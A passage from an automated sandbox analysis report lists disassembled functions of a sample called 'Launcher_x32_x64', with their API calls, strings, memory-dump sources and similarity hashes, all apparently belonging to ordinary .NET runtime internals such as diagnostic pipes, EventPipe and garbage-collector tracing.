CloseHandle.KERNEL32(?,00000000,Function_003185E0,?,?,010C3664,Function_003185E0), ref: 010C38DE
GetLastError.KERNEL32(?,010C3664,Function_003185E0), ref: 010C38ED
CloseHandle.KERNEL32(?,00000000,Function_003185E0,?,?,010C3664,Function_003185E0), ref: 010C3919
GetLastError.KERNEL32(?,010C3664,Function_003185E0), ref: 010C3928

Strings

Failed to disconnect NamedPipe, xrefs: 010C38C9
Closing without cleaning underlying handles, xrefs: 010C3888
Failed to close pipe handle, xrefs: 010C38F4
Failed to IPC ownership sentinel handle, xrefs: 010C386B
Failed to close overlap event handle, xrefs: 010C392F

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ErrorLast$CloseHandle$DisconnectNamedPipe
String ID: Closing without cleaning underlying handles$Failed to IPC ownership sentinel handle$Failed to close overlap event handle$Failed to close pipe handle$Failed to disconnect NamedPipe
API String ID: 3346832071-3329839343
Opcode ID: 9c99f2345e05319c9ab470c3266b79167f57d43850657c0d65a74f7b1a1dce5d
Instruction ID: ac75b41ac6a0d011caee4b07fa474f2309e85f68a4e0e88ae5d770d0d9b43a7e
Opcode Fuzzy Hash: 9c99f2345e05319c9ab470c3266b79167f57d43850657c0d65a74f7b1a1dce5d
Instruction Fuzzy Hash: 3131E171700710ABD2285B28F8587EEBE6CFB06B21F248319F6A1CA2E0C77958558FD0

Function 01143920 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,CommandLine,000000FF,00000000,00000000,00000000,?,00000004), ref: 01143962
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 01143972
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,CommandLine,000000FF,00000000,00000000), ref: 01143991
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 011439A0
HeapFree.KERNEL32(00000000,?,00000004), ref: 011439EF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000004), ref: 011439FD
free.API-MS-WIN-CRT-HEAP-L1-1-0(0113FBC8,00000004), ref: 01143A0B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000004), ref: 01143A1C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000004), ref: 01143A2A

Strings

OSInformation, xrefs: 01143A4D
Microsoft-DotNETCore-EventPipe, xrefs: 01143933, 0114394D
ProcessInfo, xrefs: 01143A8D
CommandLine, xrefs: 01143957, 01143985
ArchInformation, xrefs: 01143A67

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: free$ByteCharMultiWide$FreeHeapmalloc
String ID: ArchInformation$CommandLine$Microsoft-DotNETCore-EventPipe$OSInformation$ProcessInfo
API String ID: 897903226-198322117
Opcode ID: 2a4f0f7fc166c63338ccd1074800678076ca4e0f26e0e66ce0d7d610083b3170
Instruction ID: 3f1874af88697af4d04ad353f89131395c3eb1cf12529c55cc6fca209c6daffc
Opcode Fuzzy Hash: 2a4f0f7fc166c63338ccd1074800678076ca4e0f26e0e66ce0d7d610083b3170
Instruction Fuzzy Hash: FF51A2B0D00215ABEF14DF6ADC54BAEBFB8BF84B10F144129E915BB390EB7099018B91

Function 010C32F0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 179fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,00000000,00000000,00000001,00000000,?,?,00000001), ref: 010C3367
GetLastError.KERNEL32 ref: 010C3377
WaitForMultipleObjects.KERNEL32(?,?,00000000,74FDD070,?,?,00000001), ref: 010C33BB
GetLastError.KERNEL32 ref: 010C3404
GetOverlappedResult.KERNEL32(?,00000004,?,00000000), ref: 010C344E
GetLastError.KERNEL32 ref: 010C345A
GetOverlappedResult.KERNEL32(?,00000004,00000000,00000001), ref: 010C3480
GetLastError.KERNEL32 ref: 010C3493

Strings

Client connection error, xrefs: 010C34A6
WaitForMultipleObjects failed, xrefs: 010C340B
0 byte async read on client connection failed, xrefs: 010C33DE

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ErrorLast$OverlappedResult$FileMultipleObjectsReadWait
String ID: 0 byte async read on client connection failed$Client connection error$WaitForMultipleObjects failed
API String ID: 1195499505-2534949641
Opcode ID: bd11eaef1d024beb091e79915e2d14ddcb649ab46dc9cf600c8b70f18bb03940
Instruction ID: 5395515007871c9bd6bbc2334b6dbeb0a219662454b0379ef4696eccf576979a
Opcode Fuzzy Hash: bd11eaef1d024beb091e79915e2d14ddcb649ab46dc9cf600c8b70f18bb03940
Instruction Fuzzy Hash: C25102766001049FDB21DF68D884BADBBE8FB64714F20C4AED5C6CB281CAB2D8858F51

Function 010C3100 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000124,00000000,?,?,?,01149E71,?,00000000,?,00000000), ref: 010C310F
GetCurrentProcessId.KERNEL32 ref: 010C3159
_swprintf.LIBCMT ref: 010C316B
CloseHandle.KERNEL32(?,Failed to generate the named pipe name,00000000), ref: 010C319E
DisconnectNamedPipe.KERNEL32(?,Failed to generate the named pipe name,00000000), ref: 010C31C8
CloseHandle.KERNEL32(?,Failed to generate the named pipe name,00000000), ref: 010C31D4
CloseHandle.KERNEL32(?,Failed to generate the named pipe name,00000000), ref: 010C31F0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,Failed to generate the named pipe name,00000000), ref: 010C3229

Strings

\\.\pipe\%s, xrefs: 010C3152
Failed to generate the named pipe name, xrefs: 010C3188
\\.\pipe\dotnet-diagnostic-%d, xrefs: 010C3160

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CloseHandle$CurrentDisconnectNamedPipeProcess_swprintfcallocfree
String ID: Failed to generate the named pipe name$\\.\pipe\%s$\\.\pipe\dotnet-diagnostic-%d
API String ID: 2348038466-3731596089
Opcode ID: a0c6aa2344a57fc6bb64d65b7fa9c1b2889588d42d27ceb534a1df56ad0f467f
Instruction ID: 9be64e8343525f0294c460bc48ea8d76de71c4c6cd568371f5332d3d8ecb9d20
Opcode Fuzzy Hash: a0c6aa2344a57fc6bb64d65b7fa9c1b2889588d42d27ceb534a1df56ad0f467f
Instruction Fuzzy Hash: 75318FB1500B009BD2355F38A8497DBBAA8FB45735F208B1DFAB6CA2D0C7B554418B91

Function 00F48700 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 162stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01086C40: GetProcessHeap.KERNEL32(95E4D7D1,?,00000000,013264F0,000000FF,?,00000002,00E3F233,?,?,?,95E4D7D1), ref: 01086C6E
Part of subcall function 01086C40: RtlAllocateHeap.NTDLL(03A20000,00000000,?,95E4D7D1,?,00000000,013264F0,000000FF,?,00000002,00E3F233,?,?,?,95E4D7D1), ref: 01086C8A

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000001,?,95E4D7D1,03A45DC0,00000000), ref: 00F48770
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?,95E4D7D1,03A45DC0,00000000), ref: 00F487E3
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,95E4D7D1,03A45DC0,00000000), ref: 00F487F6
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000,?,?,?,95E4D7D1,03A45DC0,00000000), ref: 00F4881B
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,95E4D7D1,03A45DC0,00000000), ref: 00F48826
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(Microsoft-Windows-DotNETRuntimeRundown,00000000,?,?,?,95E4D7D1,03A45DC0,00000000), ref: 00F48876

Strings

Microsoft-Windows-DotNETRuntimeRundown, xrefs: 00F48871

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ByteCharMultiWide$Heap$AllocateProcessfreemallocstrcmp
String ID: Microsoft-Windows-DotNETRuntimeRundown
API String ID: 753784251-930870680
Opcode ID: c83cdc70ac80fa7cd6837c2850a9b96ed53b0d30414cb8e7b33d2dd3dcea4998
Instruction ID: 78d16be6deb45cd7beab33f3061859e5c4b10e6c424aed2a573a55cb1b6c501d
Opcode Fuzzy Hash: c83cdc70ac80fa7cd6837c2850a9b96ed53b0d30414cb8e7b33d2dd3dcea4998
Instruction Fuzzy Hash: 9D51F275A443019BD720CF29DC54B1ABFE8AF84760F248629FD589B3D4DA70D801DBA2

Function 0128C3A0 Relevance: 16.8, APIs: 11, Instructions: 280filememoryCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNEL32(000000FF,00000000,00000040,00000000,00ED1E23,00000000,95E4D7D1,?,00000000,?,0136776B,000000FF,?,00ED1E23,00000000), ref: 0128C47A
CloseHandle.KERNEL32(00000000,?,00000000,?,0136776B,000000FF,?,00ED1E23,00000000), ref: 0128C492
MapViewOfFileEx.KERNEL32(00000000,00000006,00000000,00000000,00000000,00000000,?,00000000,?,0136776B,000000FF,?,00ED1E23,00000000), ref: 0128C4C5
GetLastError.KERNEL32(?,00000000,?,0136776B,000000FF,?,00ED1E23,00000000), ref: 0128C4D1
SetLastError.KERNEL32(0000000E,?,00000000,?,0136776B,000000FF,?,00ED1E23,00000000), ref: 0128C4DD
VirtualAlloc.KERNEL32(00000000,0137F113,00003000,00000004,0000002C,00000000,00000024,?,?,?,?,?,?,0136776B,000000FF), ref: 0128C5A0
VirtualProtect.KERNEL32(00000000,?,00000002,?,?,?,?,?,?,?,?,?,?,0136776B,000000FF), ref: 0128C653
VirtualProtect.KERNEL32(?,00000010,?,?,?,?,?,?,?,?,?,?,?,0136776B,000000FF), ref: 0128C689
UnmapViewOfFile.KERNEL32(00000024,?,00000000,?,0136776B,000000FF,?,00ED1E23,00000000), ref: 0128C4ED

Part of subcall function 0108A430: GetLastError.KERNEL32(01094E82,014BC19C,00000002,?,?,01094A0E,?), ref: 0108A430

GetCurrentProcess.KERNEL32(?,?,00000000,00000000,00004000,?,00000000,00000000), ref: 0128C6CC
MapViewOfFile3.KERNELBASE(?,00000000,?,?,00000000,00000000,00004000,?,00000000,00000000), ref: 0128C6E2

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ErrorFileLastViewVirtual$Protect$AllocCloseCreateCurrentFile3HandleMappingProcessUnmap
String ID:
API String ID: 2504809972-0
Opcode ID: 8b7383cfa9a42c1e26e98db33da954d7b2b6636c64965a392c08055c7541e5bb
Instruction ID: 71220d84e3666fdbfc791427d904abb6757dcd9594f248fb720d23ac22102d82
Opcode Fuzzy Hash: 8b7383cfa9a42c1e26e98db33da954d7b2b6636c64965a392c08055c7541e5bb
Instruction Fuzzy Hash: 4AB1E3B1600306EFDB24DF58D844BAABBF8FF44714F108619EA15AB381D775E914CBA0

Function 01098480 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?), ref: 0109873F
GetLastError.KERNEL32(00000008,?), ref: 0109890D
FreeLibrary.KERNEL32(00000000), ref: 01098939
HeapFree.KERNEL32(00000000,?), ref: 01098A10

Strings

DllGetClassObject, xrefs: 0109894E

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Free$Heap$ErrorLastLibrary
String ID: DllGetClassObject
API String ID: 4070658762-1075368562
Opcode ID: 54384e71b75a18b925894b0bb10036d5ded86f07fa584c7471d03e925e81cb6d
Instruction ID: 63f46c8e767191ffa0f104e0ce51c6b0c678383592617ed19ac4e707fcae1702
Opcode Fuzzy Hash: 54384e71b75a18b925894b0bb10036d5ded86f07fa584c7471d03e925e81cb6d
Instruction Fuzzy Hash: 22D1BA75D012299BDF218F68DD687AEBBF4BB49304F1481DAD849A7390D7389E84DF80

Function 00F503D0 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 214memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,00000000,00000000,?,03A45DC0,00000000,00000001,00000000,?,00000000,00000000,00000000,00000001,?,95E4D7D1,03A45DC0), ref: 00F50725

Part of subcall function 0108BEC0: HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,0138695C,?,00FA762A), ref: 0108BF10

GetCommandLineW.KERNEL32(95E4D7D1,03A45DC0,00000000,?), ref: 00F50458
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0(03A21010,?,?,95E4D7D1,03A45DC0,00000000,?), ref: 00F50477
HeapFree.KERNEL32(00000000,?,95E4D7D1,03A45DC0,00000000,?), ref: 00F505E3

Strings

GCGenAnalysisTimeUSec, xrefs: 00F504A8
GCGenAnalysisGen, xrefs: 00F50488
GCGenAnalysisTimeMSec, xrefs: 00F504B6
gcgenaware.{pid}.nettrace, xrefs: 00F50627
GCGenAnalysisBytes, xrefs: 00F5049A

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap$CommandLinewcsncmp
String ID: GCGenAnalysisBytes$GCGenAnalysisGen$GCGenAnalysisTimeMSec$GCGenAnalysisTimeUSec$gcgenaware.{pid}.nettrace
API String ID: 894456492-1061429456
Opcode ID: c5893a1f28a9892c576c050ade442d1471aa83a3e82407caa85db03455f45c72
Instruction ID: 7be98be7357b9ea654245e143cdd64338ec65237e54cea005f6a5bcdc7ff655c
Opcode Fuzzy Hash: c5893a1f28a9892c576c050ade442d1471aa83a3e82407caa85db03455f45c72
Instruction Fuzzy Hash: AA91E0B0905309AFEB30EF64E8987DA7BF5FB54718F00429DD905972A4EB745948CF90

Function 010AD2A0 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 125synchronizationthreadCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?,010B39E1,?,?,?,?), ref: 010AD362
WaitForSingleObject.KERNEL32(?,00000000,?,010B39E1,?,?,?,?), ref: 010AD3A8
GetCurrentThreadId.KERNEL32 ref: 010AD3D1
ResetEvent.KERNEL32(?,?,010B39E1,?,?,?,?), ref: 010AD3E6
SetEvent.KERNEL32(?,?,010B39E1,?,?,?,?), ref: 010AD46B

Strings

D::TART: Skipping for shutdown., xrefs: 010AD2E4
D::SSCIPCE: Calling IsRCThreadReady(), xrefs: 010AD37D
D::TART: Trapping all Runtime threads., xrefs: 010AD320
D::SSCIPCE: done doing helper thread duty. Current helper thread id=0x%x, xrefs: 010AD442

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Event$CurrentObjectResetSingleThreadWait
String ID: D::SSCIPCE: Calling IsRCThreadReady()$D::SSCIPCE: done doing helper thread duty. Current helper thread id=0x%x$D::TART: Skipping for shutdown.$D::TART: Trapping all Runtime threads.
API String ID: 976909831-2666063001
Opcode ID: 45f857c863b20709e4e60695f79ddbadd5cf7deae34273457bd69f0849d85090
Instruction ID: 9aede8ee855916ef5c7e6801709aa2e91f5bf0cc40b27bcd474b39b254e7290e
Opcode Fuzzy Hash: 45f857c863b20709e4e60695f79ddbadd5cf7deae34273457bd69f0849d85090
Instruction Fuzzy Hash: A841D175201300DFEB209F98E899F957BE4EB00714F98409DEA985B2F6D7B1A880CB51

Function 00FA6750 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 278memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 00FA6C24

Part of subcall function 01096370: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000003,00000000,?,?,?,?,?,01096557,?,?,95E4D7D1,?,?), ref: 010963F4
Part of subcall function 01096370: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 01096424
Part of subcall function 01096370: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0109642F
Part of subcall function 01096370: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0109643A
Part of subcall function 01096370: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 01096445

GetCurrentProcessId.KERNEL32(000000A8,00000002), ref: 00FA69F9
HeapFree.KERNEL32(00000000,?), ref: 00FA6A30
HeapFree.KERNEL32(00000000,?), ref: 00FA6A56

Part of subcall function 00E46570: EventWriteTransfer.ADVAPI32(014A91E8,00000046,01376AA0,00000000,00000000,?,?,?,?,?,00E895FD,0000000A,00000006,?,?,?), ref: 00E465AF

HeapFree.KERNEL32(00000000,?), ref: 00FA6B99
HeapFree.KERNEL32(00000000,?), ref: 00FA6BD5
HeapFree.KERNEL32(00000000,?), ref: 00FA6BFB

Strings

NULL, xrefs: 00FA6B33

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap$_errno$CurrentEventProcessTransferWrite
String ID: NULL
API String ID: 3531716392-324932091
Opcode ID: f9a22773858b48e397b8099854cc135d90edbabecd02531336ac55a9ea52f4cf
Instruction ID: 9bb9e29a45f683f9d577a724464240bfc6095d14a2eb47b35e892d275b20ae3a
Opcode Fuzzy Hash: f9a22773858b48e397b8099854cc135d90edbabecd02531336ac55a9ea52f4cf
Instruction Fuzzy Hash: 9ED169B0904268DBEB20DF24DD98B9ABBF8FB06318F1481D8D449A7290DB755E88DF51

Function 00FCE550 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 183threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?), ref: 00FCE55E
SleepEx.KERNEL32(00000001,00000000), ref: 00FCE755
SwitchToThread.KERNEL32 ref: 00FCE75B
SetLastError.KERNEL32(00000000), ref: 00FCE793

Strings

RareDisablePreemptiveGC: entering. Thread state = %x, xrefs: 00FCE5F8
Waiting for GC completion failed, xrefs: 00FCE7A6
RareDisablePreemptiveGC: leaving, xrefs: 00FCE77B
Thread::HandleThreadAbort throwing abort for %x, xrefs: 00FCE845

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
